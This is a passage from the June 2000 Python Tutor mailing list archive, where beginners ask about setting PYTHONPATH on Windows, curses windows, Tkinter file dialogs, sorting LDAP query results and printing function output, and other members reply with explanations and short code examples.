> http://www.python.org/mailman/listinfo/tutor
>



From drivel_drool@bigfoot.com  Sat Jun 17 19:45:51 2000
From: drivel_drool@bigfoot.com (Charlie Derr)
Date: Sat, 17 Jun 2000 14:45:51 -0400
Subject: [Tutor] import modules outside the Lib directory
In-Reply-To: <39F8FEDC@operamail.com>
Message-ID: <LOBBJCAMDNLNCGCCHGEIMEODFJAA.drivel_drool@bigfoot.com>

~
~ I'm ultra new at programming - but boy is it fun so far!  How can
~ I import
~ modules that reside in directories outside the Lib directory?
~ (this question
~ is based on the default install locations for Python 1.5.2 on
~ Windows and SGI
~ Irix 6.5)
~
~ thanks.


I believe the preferred solution is to set an environment variable
PYTHONPATH.  Put /python/lib in it along with whatever other directories
you'd like to import from.

	hth,
		~c




From michaelbaker@operamail.com  Sun Jun 18 03:09:14 2000
From: michaelbaker@operamail.com (michaelbaker@operamail.com)
Date: Sat, 17 Jun 2000 22:09:14 -0400
Subject: [Tutor] set PYTHONPATH=.;c:\... returns a syntax error
In-Reply-To: <LOBBJCAMDNLNCGCCHGEIMEODFJAA.drivel_drool@bigfoot.com>
References: <39F8FEDC@operamail.com>
Message-ID: <3.0.6.32.20000617220914.0081d100@operamail.com>

At 02:45 PM 6/17/00 -0400, you wrote:
>~
>~ I'm ultra new at programming - but boy is it fun so far!  How can
>~ I import
>~ modules that reside in directories outside the Lib directory?
>~ (this question
>~ is based on the default install locations for Python 1.5.2 on
>~ Windows and SGI
>~ Irix 6.5)
>~
>~ thanks.
>
>
>I believe the preferred solution is to set an environment variable
>PYTHONPATH.  Put /python/lib in it along with whatever other directories
>you'd like to import from.
>
>	hth,
>		~c

when I type "set PYTHONPATH=.;c:\Program Files\Python\"
the command line interpreter returns a syntax error. Is there a .cshrc-like
file in DOS or Windows where additional module location paths can be saved? 


From insyte@emt-p.org  Sun Jun 18 05:01:39 2000
From: insyte@emt-p.org (Ben Beuchler)
Date: Sat, 17 Jun 2000 23:01:39 -0500
Subject: [Tutor] curses
Message-ID: <20000617230137.A26868@emt-p.org>

In my first real python project, I would like to make use of curses to
have two seperately scrolling areas of text.  I'm having a bit of trouble
figuring out how to make it work.  Could someone possibly post a code
snippit of how to create a screen with two windows, each with a border?
From what I've read, it should only take a half dozen or so lines, but it
just doesn't seem to be working for me.

Thanks,
Ben

-- 
The spectre of a polity controlled by the fads and whims of voters who
actually believe that there are significant differences between Bud Lite
and Miller Lite, and who think that professional wrestling is for real, is
naturally alarming to people who don't.
		-- Neal Stephenson


From DOUGS@oceanic.com  Sun Jun 18 08:40:56 2000
From: DOUGS@oceanic.com (Doug Stanfield)
Date: Sat, 17 Jun 2000 21:40:56 -1000
Subject: [Tutor] curses
Message-ID: <8457258D741DD411BD3D0050DA62365907A23B@huina.oceanic.com>

The following is not necessarily what I would do if I was trying to build a
robust app, but it works on a Mandrake Linux system.

#!/usr/bin/python
#
#       Curses example program
#
import string

def message(window, text,row=23):
    window.move(row,0)
    window.clrtoeol()
    window.addstr(row,5,text)
    window.refresh()

def sure(win,msg_text):
    while 1:
        message(win,msg_text)
        comm_ch = win.getch()
        ans = chr(comm_ch)
        if ans == 'y':
            return 1
        elif ans == 'n':
            return 0

def ui(win,title="Test"):
    times = 0
    app_string = "Application Title Here"
    if len(app_string) < 79:
        cent = (80-len(title))/2+.5
    else:
        cent = 0
        app_string = app_string[:79]
    win.addstr(0,cent,app_string,curses.A_STANDOUT)
    win.addstr(2,0,string.center(title,79),curses.A_BOLD)
    win.addstr(7,4,"Main window text")

    while 1:
        win.refresh()
        times = times + 1

        if sure(win,"Do you want to quit? (y/n) "):
            break

        if times % 2:
            hwin = curses.newwin(6,25,5,3)
            hwin.clear()
            hwin.addstr(1,2,"Some text in the first box")
            hwin.box()
            hwin.refresh()
        else:
            hwin.clear()
            hwin.touchwin()
            hwin.refresh()

        if times % 3:
            vwin = curses.newwin(16,25,5,30)
            vwin.clear()
            vwin.addstr(1,2,"Some text in the\n second box")
            vwin.box()
            vwin.refresh()
        else:
            vwin.clear()
            vwin.touchwin()
            vwin.refresh()

    hwin.clear()
    hwin.touchwin()
    hwin.refresh()
    vwin.clear()
    vwin.touchwin()
    vwin.refresh()

    win.clear()
    win.refresh()

if __name__=='__main__':
    import curses, traceback
    try:        # Initialize curses
        stdscr=curses.initscr()
        curses.noecho() ; curses.cbreak()
        stdscr.keypad(1)
        ui(stdscr,title="Curses Example Program")         # Enter the main
loop
        stdscr.keypad(0)
        curses.echo() ; curses.nocbreak()
        curses.endwin()                 # Terminate curses
    except:
        stdscr.keypad(0)
        curses.echo() ; curses.nocbreak()
        curses.endwin()
        traceback.print_exc()           # Print the exception

Hope this helps,

-Doug-

> -----Original Message-----
> From: Ben Beuchler [mailto:insyte@emt-p.org]
> Sent: Saturday, June 17, 2000 6:02 PM
> To: tutor@python.org
> Subject: [Tutor] curses
> 
> 
> In my first real python project, I would like to make use of curses to
> have two seperately scrolling areas of text.  I'm having a 
> bit of trouble
> figuring out how to make it work.  Could someone possibly post a code
> snippit of how to create a screen with two windows, each with 
> a border?
> From what I've read, it should only take a half dozen or so 
> lines, but it
> just doesn't seem to be working for me.
> 
> Thanks,
> Ben
> 
> 


From charlie@intelligenesis.net  Sun Jun 18 15:03:58 2000
From: charlie@intelligenesis.net (Charlie Derr)
Date: Sun, 18 Jun 2000 10:03:58 -0400
Subject: [Tutor] set PYTHONPATH=.;c:\... returns a syntax error
In-Reply-To: <3.0.6.32.20000617220914.0081d100@operamail.com>
Message-ID: <LOBBJCAMDNLNCGCCHGEIKEAMFKAA.charlie@intelligenesis.net>

~ ~ At 02:45 PM 6/17/00 -0400, you wrote:
~ >~
~ >~ I'm ultra new at programming - but boy is it fun so far!  How can
~ >~ I import
~ >~ modules that reside in directories outside the Lib directory?
~ >~ (this question
~ >~ is based on the default install locations for Python 1.5.2 on
~ >~ Windows and SGI
~ >~ Irix 6.5)
~ >~
~ >~ thanks.
~ >
~ >
~ >I believe the preferred solution is to set an environment variable
~ >PYTHONPATH.  Put /python/lib in it along with whatever other directories
~ >you'd like to import from.
~ >
~ >	hth,
~ >		~c
~
~ when I type "set PYTHONPATH=.;c:\Program Files\Python\"
~ the command line interpreter returns a syntax error. Is there a
~ .cshrc-like
~ file in DOS or Windows where additional module location paths can
~ be saved?
~


It depends which version of windows you use.  On NT, I go to control
panel|system and then the "environment" tab.  After setting it, it's
necessary to close out your dos prompt (or your python prompt) and then
reopen.   On Win95, i think you can do it in your autoexec.bat file.   On
Win98, I don't know for sure.

	good luck,
		~c

~ _______________________________________________
~ Tutor maillist  -  Tutor@python.org
~ http://www.python.org/mailman/listinfo/tutor
~



From insyte@emt-p.org  Sun Jun 18 16:44:09 2000
From: insyte@emt-p.org (Ben Beuchler)
Date: Sun, 18 Jun 2000 10:44:09 -0500
Subject: [Tutor] curses
In-Reply-To: <8457258D741DD411BD3D0050DA62365907A23B@huina.oceanic.com>; from DOUGS@oceanic.com on Sat, Jun 17, 2000 at 09:40:56PM -1000
References: <8457258D741DD411BD3D0050DA62365907A23B@huina.oceanic.com>
Message-ID: <20000618104407.A29092@emt-p.org>

On Sat, Jun 17, 2000 at 09:40:56PM -1000, Doug Stanfield wrote:

> The following is not necessarily what I would do if I was trying to build a
> robust app, but it works on a Mandrake Linux system.

Excellent!  Thank you very much.

Ben

-- 
The spectre of a polity controlled by the fads and whims of voters who
actually believe that there are significant differences between Bud Lite
and Miller Lite, and who think that professional wrestling is for real, is
naturally alarming to people who don't.
		-- Neal Stephenson


From michaelbaker@operamail.com  Sun Jun 18 17:41:46 2000
From: michaelbaker@operamail.com (michaelbaker@operamail.com)
Date: Sun, 18 Jun 2000 12:41:46 -0400
Subject: [Tutor] autoexec.bat was the ticket for Win95 OSR2 -
In-Reply-To: <LOBBJCAMDNLNCGCCHGEIKEAMFKAA.charlie@intelligenesis.net>
References: <3.0.6.32.20000617220914.0081d100@operamail.com>
Message-ID: <3.0.6.32.20000618124146.00808100@operamail.com>

>~ when I type "set PYTHONPATH=.;c:\Program Files\Python\"
>~ the command line interpreter returns a syntax error. Is there a
>~ .cshrc-like
>~ file in DOS or Windows where additional module location paths can
>~ be saved?
>~
>
>
>It depends which version of windows you use.  On NT, I go to control
>panel|system and then the "environment" tab.  After setting it, it's
>necessary to close out your dos prompt (or your python prompt) and then
>reopen.   On Win95, i think you can do it in your autoexec.bat file.   On
>Win98, I don't know for sure.
>
>	good luck,
>		~c

i added "SET PYTHONPATH=C:\PROGRA~1\PYTHON\MODULES" to the autoexec.bat
file - that was the ticket - thanks!

mb


From martinpozzi@yahoo.com  Mon Jun 19 20:05:33 2000
From: martinpozzi@yahoo.com (=?iso-8859-1?Q?Mart=EDn_Pozzi?=)
Date: Mon, 19 Jun 2000 16:05:33 -0300
Subject: [Tutor] Using icons on title bar with Tkinter
Message-ID: <000401bfda21$88d80e60$241033c8@default>

Dear friends,

Thank you very much for the answers I got last time. Now I have a new
question:
Is it possible to change the icon in the title bar (the one with a stylish
"tk" on it) using Tkinter? I've tried with iconbitmap, iconwindow, etc. but
nothing happened. I've nothing against that particular icon, just I would
like to know if I might change it (and eventualy how). Thanks a lot.


__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From pixel@northcoast.com  Tue Jun 20 01:25:48 2000
From: pixel@northcoast.com (Tina Wolfinbarger)
Date: Mon, 19 Jun 2000 17:25:48 -0700
Subject: [Tutor] Python tutorial
Message-ID: <001601bfda4e$1666bfc0$6e3ea03f@h0s9f8>

This is a multi-part message in MIME format.

------=_NextPart_000_0013_01BFDA13.68E2EFC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I have done remarkably well in getting started with learning Python thru =
the use of this tutorial.
I just wanted to pass it on to others wanting to learn. *s*

http://www.honors.montana.edu/~jjc/easytut/easytut/

klingklang


------=_NextPart_000_0013_01BFDA13.68E2EFC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I have done remarkably well in getting =
started with=20
learning Python thru the use of this tutorial.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I just wanted to pass it on to others =
wanting to=20
learn. *s*</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://www.honors.montana.edu/~jjc/easytut/easytut/">http://www.h=
onors.montana.edu/~jjc/easytut/easytut/</A></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>klingklang</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0013_01BFDA13.68E2EFC0--



From slay3241@bright.net  Tue Jun 20 11:50:02 2000
From: slay3241@bright.net (bill slaybaugh)
Date: Tue, 20 Jun 2000 06:50:02 -0400
Subject: [Tutor] file, select ?
Message-ID: <394F4C5A.2851A522@bright.net>

How does the IDLE environment call "FILE - OPEN"?
I need to provide the same facility under W95/98, but I don't
see how the IDLE script does this.
I am a beginner, but I have written some workable tools to 
assist in semi-automating the use of InstallShield5.5 .
I am trying to provide a python/Tkinter based interface for 
someone else to do some of my tasks with IS5.5 when I'm not
around.
I've already struggled with Listbox trying to sortof do the
same thing.  Which is select a group of files and copy them
off the network to my local drive.
TIA


From arcege@shore.net  Tue Jun 20 12:01:40 2000
From: arcege@shore.net (Michael P. Reilly)
Date: Tue, 20 Jun 2000 07:01:40 -0400 (EDT)
Subject: [Tutor] file, select ?
In-Reply-To: <394F4C5A.2851A522@bright.net> from "bill slaybaugh" at Jun 20, 2000 06:50:02 AM
Message-ID: <200006201101.HAA18961@northshore.shore.net>

> How does the IDLE environment call "FILE - OPEN"?
> I need to provide the same facility under W95/98, but I don't
> see how the IDLE script does this.
> I am a beginner, but I have written some workable tools to 
> assist in semi-automating the use of InstallShield5.5 .
> I am trying to provide a python/Tkinter based interface for 
> someone else to do some of my tasks with IS5.5 when I'm not
> around.
> I've already struggled with Listbox trying to sortof do the
> same thing.  Which is select a group of files and copy them
> off the network to my local drive.

You will want to either use the FileDialog module or the newer
tkFileDialog module (which might not work with earlier versions of
Tcl/Tk).

It is better to read the example code inside the source files for good
usage.  Even if it is not doing what you want, the FileDialog module
can probably give you good tips to use to make your own.

  -Arcege

-- 
------------------------------------------------------------------------
| Michael P. Reilly, Release Manager  | Email: arcege@shore.net        |
| Salem, Mass. USA  01970             |                                |
------------------------------------------------------------------------


From lord.helmchen@cyberdude.com  Tue Jun 20 12:24:03 2000
From: lord.helmchen@cyberdude.com (LordHelmchen)
Date: Tue, 20 Jun 2000 13:24:03 +0200
Subject: [Tutor] Where can I get a offline-version of a python tutorial ?
Message-ID: <394F5453.EEC4DC4A@cyberdude.com>

-- 
LordHelmchen
Alienist of Alienate
Keeper of the Stars! Nations

"Um ein tadelloses Mitglied einer Schafherde zu sein, muß man vor allem
ein Schaf sein."
  -Albert Einstein

My ICQ# is 3748639

Visit my new and better Stars! Nations @ http://lord.helmchen.joice.net/
Help the SETI-Project: http://setiathome.ssl.berkeley.edu/


From SBrunning@trisystems.co.uk  Tue Jun 20 12:25:27 2000
From: SBrunning@trisystems.co.uk (Simon Brunning)
Date: Tue, 20 Jun 2000 12:25:27 +0100
Subject: [Tutor] Where can I get a offline-version of a python tutoria
 l ?
Message-ID: <31575A892FF6D1118F5800600846864D4C6F3A@intrepid>

Anything for a fellow Stars! player. Try
<http://www.python.org/doc/current/download.html>.

Cheers,
Simon Brunning
TriSystems Ltd.
sbrunning@trisystems.co.uk

> -----Original Message-----
> From:	LordHelmchen [SMTP:lord.helmchen@cyberdude.com]
> Sent:	Tuesday, June 20, 2000 12:24 PM
> To:	tutor@python.org
> Subject:	[Tutor] Where can I get a offline-version of a python
> tutorial ?
>=20
>=20
> --=20
> LordHelmchen
> Alienist of Alienate
> Keeper of the Stars! Nations
>=20
> "Um ein tadelloses Mitglied einer Schafherde zu sein, mu=DF man vor =
allem
> ein Schaf sein."
>   -Albert Einstein
>=20
> My ICQ# is 3748639
>=20
> Visit my new and better Stars! Nations @ =
http://lord.helmchen.joice.net/
> Help the SETI-Project: http://setiathome.ssl.berkeley.edu/
>=20
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://www.python.org/mailman/listinfo/tutor
>=20
>=20
>=20
>=20
-----------------------------------------------------------------------
The information in this email is confidential and may be legally =
privileged.
It is intended solely for the addressee. Access to this email by anyone =
else
is unauthorised. If you are not the intended recipient, any disclosure,
copying, distribution, or any action taken or omitted to be taken in
reliance on it, is prohibited and may be unlawful. TriSystems Ltd. =
cannot
accept liability for statements made which are clearly the senders own.


From wilson@visi.com  Fri Jun 23 23:16:27 2000
From: wilson@visi.com (Timothy Wilson)
Date: Fri, 23 Jun 2000 17:16:27 -0500 (CDT)
Subject: [Tutor] sorting complicated lists
Message-ID: <Pine.GSO.4.10.10006231709150.4309-100000@isis.visi.com>

Hi everyone,

I'm working with python-ldap querying an ldap server to print employee phone
directories, for example. Here's an example of the data structure that
pyton-ldap returns using my record as an example (hope this wraps OK):

[('cn=WilsonT,ou=SIBLEY,o=ISD_197', {'revision': ['989'], 'givenName':
['Tim'], 'fullName': ['Tim Wilson'], 'mail': ['WilsonT@isd197.k12.mn.us'],
'postalCode': ['55118'], 'groupMembership':
['cn=Everyone,ou=SIBLEY,o=ISD_197', 'cn=GW52 Pilot,ou=SIBLEY,o=ISD_197',
'cn=TEACHERS PROGRAMS,ou=SIBLEY,o=ISD_197'], 'sn': ['Wilson'], 'street':
['1897 Delaware Avenue'], 'cn': ['WilsonT'], 'uid': ['WilsonT'], 'st':
['MN'], 'l': ['Sibley High School'], 'postalAddress': ['1897 Delaware
Avenue$Mendota Heights$MN$55118'], 'objectClass': ['top', 'person',
'organizationalPerson', 'inetOrgPerson'], 'description': ['Sibley'],
'physicalDeliveryOfficeName': ['Mendota Heights'], 'telephoneNumber':
['405-2428']})]

You can see that the result is a list with containing 1 item. That item is a
2-element tuple with the first element my 'cn' and the second a dictionary
containing all of the data in my ldap record.

If I retrieve 10 records, say, the list would consist of 10 tuples, one for
each record retrieved. Now the question:

How would I sort the list so I could print the results of the ldap query in
alphabetical order by surname? (That's the 'sn' key in the dictionary
above.)

-Tim

--
Tim Wilson      | Visit Sibley online:         | Check out:
Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/
W. St. Paul, MN |                              | http://slashdot.org/
wilson@visi.com |   <dtml-var pithy_quote>     | http://linux.com/



From rbl@hal.cwru.edu  Fri Jun 23 23:21:31 2000
From: rbl@hal.cwru.edu (Robin B. Lake)
Date: Fri, 23 Jun 2000 18:21:31 -0400 (EDT)
Subject: [Tutor] Understanding what I'm doing:  Strip HTML
Message-ID: <200006232221.SAA00792@hal.epbi.cwru.edu>

I'm trying to strip the HTML from Web pages I'm downloading  ...
thousands of them.  Just right for Python!  Someone earlier provided
the solution:

import htmllib, formatter
p = htmllib.HTMLParser(formatter.AbstractFormatter(formatter.DumbWriter()))
f = open('yourfile.html')
p.feed(f.read())

Questions:

In read the documentation, it seems that the htmllib.HTMLParser line
just (a)  ties the formatter to DumbWriter and (b) assigns p to
be the HTMLParser, so that p.feed runs whatever data stream  it
gets through the HTMLParser.

What type is p?  Am I correct about how this works?

Thanks,
Rob Lake
rbl@hal.cwru.edu


From arcege@shore.net  Fri Jun 23 23:46:23 2000
From: arcege@shore.net (Michael P. Reilly)
Date: Fri, 23 Jun 2000 18:46:23 -0400 (EDT)
Subject: [Tutor] sorting complicated lists
In-Reply-To: <Pine.GSO.4.10.10006231709150.4309-100000@isis.visi.com> from "Timothy Wilson" at Jun 23, 2000 05:16:27 PM
Message-ID: <200006232246.SAA12213@northshore.shore.net>

> 
> Hi everyone,
> 
> I'm working with python-ldap querying an ldap server to print employee phone
> directories, for example. Here's an example of the data structure that
> pyton-ldap returns using my record as an example (hope this wraps OK):
> 
> [('cn=WilsonT,ou=SIBLEY,o=ISD_197', {'revision': ['989'], 'givenName':
> ['Tim'], 'fullName': ['Tim Wilson'], 'mail': ['WilsonT@isd197.k12.mn.us'],
> 'postalCode': ['55118'], 'groupMembership':
> ['cn=Everyone,ou=SIBLEY,o=ISD_197', 'cn=GW52 Pilot,ou=SIBLEY,o=ISD_197',
> 'cn=TEACHERS PROGRAMS,ou=SIBLEY,o=ISD_197'], 'sn': ['Wilson'], 'street':
> ['1897 Delaware Avenue'], 'cn': ['WilsonT'], 'uid': ['WilsonT'], 'st':
> ['MN'], 'l': ['Sibley High School'], 'postalAddress': ['1897 Delaware
> Avenue$Mendota Heights$MN$55118'], 'objectClass': ['top', 'person',
> 'organizationalPerson', 'inetOrgPerson'], 'description': ['Sibley'],
> 'physicalDeliveryOfficeName': ['Mendota Heights'], 'telephoneNumber':
> ['405-2428']})]
> 
> You can see that the result is a list with containing 1 item. That item is a
> 2-element tuple with the first element my 'cn' and the second a dictionary
> containing all of the data in my ldap record.
> 
> If I retrieve 10 records, say, the list would consist of 10 tuples, one for
> each record retrieved. Now the question:
> 
> How would I sort the list so I could print the results of the ldap query in
> alphabetical order by surname? (That's the 'sn' key in the dictionary
> above.)

list.sort(lambda a, b: cmp(a[1]['sn'], b[1]['sn'])

a (or b)   = the tuple
a[1]       = the dictionary in the tuple
a[1]['sn'] = the 'sn' slot in the dictionary

References:  Language Reference, 2.1.5.2 Mutable Sequence Types
<URL:http://www.python.org/doc/current/lib/typesseq-strings.html#SECTION004152000000000000000>

  -Arcege

-- 
------------------------------------------------------------------------
| Michael P. Reilly, Release Manager  | Email: arcege@shore.net        |
| Salem, Mass. USA  01970             |                                |
------------------------------------------------------------------------


From wilson@visi.com  Fri Jun 23 23:58:45 2000
From: wilson@visi.com (Timothy Wilson)
Date: Fri, 23 Jun 2000 17:58:45 -0500 (CDT)
Subject: [Tutor] sorting complicated lists
In-Reply-To: <200006232246.SAA12213@northshore.shore.net>
Message-ID: <Pine.GSO.4.10.10006231756510.4309-100000@isis.visi.com>

On Fri, 23 Jun 2000, Michael P. Reilly wrote:

> > How would I sort the list so I could print the results of the ldap query in
> > alphabetical order by surname? (That's the 'sn' key in the dictionary
> > above.)
> 
> list.sort(lambda a, b: cmp(a[1]['sn'], b[1]['sn'])
> 
> a (or b)   = the tuple
> a[1]       = the dictionary in the tuple
> a[1]['sn'] = the 'sn' slot in the dictionary
> 
> References:  Language Reference, 2.1.5.2 Mutable Sequence Types
> <URL:http://www.python.org/doc/current/lib/typesseq-strings.html#SECTION004152000000000000000>

Yikes! Time to hit the books. :-)

Seriously, thanks for the tip. It'll keep me busy for awhile.

-Tim

--
Tim Wilson      | Visit Sibley online:         | Check out:
Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/
W. St. Paul, MN |                              | http://slashdot.org/
wilson@visi.com |   <dtml-var pithy_quote>     | http://linux.com/



From shaleh@valinux.com  Sat Jun 24 00:06:05 2000
From: shaleh@valinux.com (Sean 'Shaleh' Perry)
Date: Fri, 23 Jun 2000 16:06:05 -0700 (PDT)
Subject: [Tutor] sorting complicated lists
In-Reply-To: <Pine.GSO.4.10.10006231756510.4309-100000@isis.visi.com>
Message-ID: <XFMail.20000623160605.shaleh@valinux.com>

>> 
>> list.sort(lambda a, b: cmp(a[1]['sn'], b[1]['sn'])
>> 
>> a (or b)   = the tuple
>> a[1]       = the dictionary in the tuple
>> a[1]['sn'] = the 'sn' slot in the dictionary
>> 

def ldap-sorter(a, b):
        return cmp(a[1]['sn'], b[1]['sn'])

list.sort(ldap-sorter)

is what is actually happening (more or less).  lamda makes a psuedo function
in-place.  cmp() is analogous to strcmp() in C (and others).  Basically you
want to return -1, 0, or 1.  -1 if a is less than b, 0 is they are equal and 1
is b is less than a.  I may have it backwards with regards to less than v.
greater than.


From shaleh@valinux.com  Sat Jun 24 21:43:36 2000
From: shaleh@valinux.com (Sean 'Shaleh' Perry)
Date: Sat, 24 Jun 2000 13:43:36 -0700
Subject: [Tutor] Understanding what I'm doing:  Strip HTML
In-Reply-To: <200006232221.SAA00792@hal.epbi.cwru.edu>; from rbl@hal.cwru.edu on Fri, Jun 23, 2000 at 06:21:31PM -0400
References: <200006232221.SAA00792@hal.epbi.cwru.edu>
Message-ID: <20000624134336.A18870@valinux.com>

On Fri, Jun 23, 2000 at 06:21:31PM -0400, Robin B. Lake wrote:
> 
> I'm trying to strip the HTML from Web pages I'm downloading  ...
> thousands of them.  Just right for Python!  Someone earlier provided
> the solution:
> 
> import htmllib, formatter
> p = htmllib.HTMLParser(formatter.AbstractFormatter(formatter.DumbWriter()))
> f = open('yourfile.html')
> p.feed(f.read())
> 
> Questions:
> 
> In read the documentation, it seems that the htmllib.HTMLParser line
> just (a)  ties the formatter to DumbWriter and (b) assigns p to
> be the HTMLParser, so that p.feed runs whatever data stream  it
> gets through the HTMLParser.
> 
> What type is p?  Am I correct about how this works?
> 

p is class HTMLParser(SGMLParser) from htmllib module (hence the 
htmllib. syntax).

p = htmllib.HTMLParser(formatter.AbstractFormatter(formatter.DumbWriter()))
this line creates a HTMLParser instance, HTMLParser() is the constructor for
the object.


From wmperry@903internets.com  Sun Jun 25 07:03:37 2000
From: wmperry@903internets.com (william)
Date: Sun, 25 Jun 2000 01:03:37 -0500
Subject: [Tutor] Function output
Message-ID: <200006250103370980.067053A9@www.903internet.com>

--=====_96191301741=_
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

I guess I missed something fundamental in programming because I don't seem=
 to find any references for this.

 A little background, I'm complete novice at programing with Python  as my=
 first language. (well a little Basic back in the 70's) I'm running Python=
 on Windows 95 and I've been reading "Learning Python" , "Teach yourself=
 Python in 24 hrs" and just about anything else I can find.

 The problem I'm having is how to get output from the functions in a module=
 to the screen. I wanted to try writing something other than the book=
 exercises to get a better feel for the process, I wrote a function that=
 generated a random number and a second function that used that number to=
 select from a list. When I type them in in the interactive prompt in Idle=
 they do exactly that but when I place them in a module and save. They=
 refuse to output to the screen either in Idle or from the DOS prompt. I've=
 been working at this for several weeks and the error message(s) change=
 depending on what I try, including no error message and no output. I added=
 a test print message at the end and it does print so It appears to be that=
 the function output isn't being captured or read.  
I'm less concerned with making this work than in why it won't and where I=
 should be looking to find answers.

W M Perry


--=====_96191301741=_
Content-Type: text/html; charset="us-ascii"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<META content="MSHTML 5.00.2722.2800" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff style="FONT-FAMILY: Arial" text=#000000>
<DIV><FONT size=2>I guess I missed something fundamental in programming because 
I don't seem to find any references for this.</FONT></DIV>
<DIV><FONT size=2></FONT>&nbsp;</DIV>
<DIV><FONT size=2>&nbsp;A little background, I'm complete novice at programing 
with Python&nbsp; as my first language. (well a little Basic back in the 70's) 
I'm running Python on Windows 95 and I've been reading "Learning Python"&nbsp;, 
"Teach yourself Python in 24 hrs" and just about anything else I can 
find.</FONT></DIV>
<DIV><FONT size=2></FONT>&nbsp;</DIV>
<DIV><FONT size=2>&nbsp;The problem I'm having is how to get output from the 
functions in a module to the screen. I wanted to try writing something other 
than the book exercises to get a better feel for the process, I wrote a function 
that generated a random number and a second function that used that number to 
select from a list. When I type them in in the interactive prompt in Idle they 
do exactly that but when I place them in a module and save.&nbsp;They refuse to 
output to the screen either in Idle or from the DOS prompt. I've been working at 
this for several weeks and the error message(s) change depending on what I try, 
including no error message and no output. I added a test print message at the 
end and it does print so It appears to be that the function output isn't being 
captured or read.&nbsp; </FONT></DIV>
<DIV><FONT size=2>I'm less concerned with making this work than in why it won't 
and where I should be looking to find answers.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3>W M Perry</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>


--=====_96191301741=_--



From infonuovo@email.com  Sun Jun 25 08:37:58 2000
From: infonuovo@email.com (Dennis E. Hamilton)
Date: Sun, 25 Jun 2000 00:37:58 -0700
Subject: [Tutor] Function output
In-Reply-To: <200006250103370980.067053A9@www.903internet.com>
Message-ID: <NDBBKEGCNONMNKGDINPFKEIMDPAA.infonuovo@email.com>

William,

You are seeing the intended behavior.

When you type expressions in interactive mode, the Python processor
basically synthesizes Print statements for the result.

When you are executing a module, you need to say what you want printed, and
using Print statements the way you did is an appropriate way to do that.
Basically (don't hold me to having this be literally true all of the time),
if you write an expression in a module and don't do anything with the
result, it is simply discarded.  This behavior is not unique to Python.

-- Dennis

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
william
Sent: Saturday, June 24, 2000 23:04
To: tutor@python.org; tutor@python.org
Subject: [Tutor] Function output


I guess I missed something fundamental in programming because I don't seem
to find any references for this.

 A little background, I'm complete novice at programing with Python  as my
first language. (well a little Basic back in the 70's) I'm running Python on
Windows 95 and I've been reading "Learning Python" , "Teach yourself Python
in 24 hrs" and just about anything else I can find.

 The problem I'm having is how to get output from the functions in a module
to the screen. I wanted to try writing something other than the book
exercises to get a better feel for the process, I wrote a function that
generated a random number and a second function that used that number to
select from a list. When I type them in in the interactive prompt in Idle
they do exactly that but when I place them in a module and save. They refuse
to output to the screen either in Idle or from the DOS prompt. I've been
working at this for several weeks and the error message(s) change depending
on what I try, including no error message and no output. I added a test
print message at the end and it does print so It appears to be that the
function output isn't being captured or read.
I'm less concerned with making this work than in why it won't and where I
should be looking to find answers.

W M Perry



From jcm@bigskytel.com  Sun Jun 25 11:23:08 2000
From: jcm@bigskytel.com (David Porter)
Date: Sun, 25 Jun 2000 04:23:08 -0600
Subject: [Tutor] Function output
In-Reply-To: <200006250103370980.067053A9@www.903internet.com>; from wmperry@903internet.com on Sun, Jun 25, 2000 at 01:03:37AM -0500
References: <200006250103370980.067053A9@www.903internet.com>
Message-ID: <20000625042308.C32043@novara.avenue>

* william <wmperry@903internet.com>:

> The problem I'm having is how to get output from the functions in a module
> to the screen. I wanted to try writing something other than the book
> exercises to get a better feel for the process, I wrote a function that
> generated a random number and a second function that used that number to
> select from a list. When I type them in in the interactive prompt in Idle
> they do exactly that but when I place them in a module and save. They
> refuse to output to the screen either in Idle or from the DOS prompt. I've
> been working at this for several weeks and the error message(s) change
> depending on what I try, including no error message and no output. I added
> a test print message at the end and it does print so It appears to be that
> the function output isn't being captured or read.  

> I'm less concerned with making this work than in why it won't and where I
> should be looking to find answers.

From what I understand it works like this. In your function, if you use
'return', then it returns a value (if you don't, it returns a value too:
'None'). While at the python prompt, these are displayed, but you must use
'print function()' in your scripts if you want the user to see the output. I
assume that they are displayed at the prompt because that is informative for
the programmer. Imagine though how bad it would be if all of your functions
printed out something to the user of your program even when you hadn't
explicitly requested it!


  david.


From tuckerg@acm.org  Sun Jun 25 14:03:36 2000
From: tuckerg@acm.org (Gregory Tucker)
Date: Sun, 25 Jun 2000 22:03:36 +0900
Subject: [Tutor] Function output
References: <200006250103370980.067053A9@www.903internet.com>
Message-ID: <39560328.514EA3FD@acm.org>

Hi,

I think I understand what you mean here, and I think that the question has
been answered. But in general it is helpful if you attach the original
script that is not working.

Regards,
Greg

-- 
 .---. .---. .--- .---.   |  Gregory Tucker, Tokyo, Japan
 |---. | |-< >--- |---.   |  
 `---' `-'`-'`--- `---'   |  "Our Father, who art in Redmond,
 My opinions are my own.  |  William by thy name..."


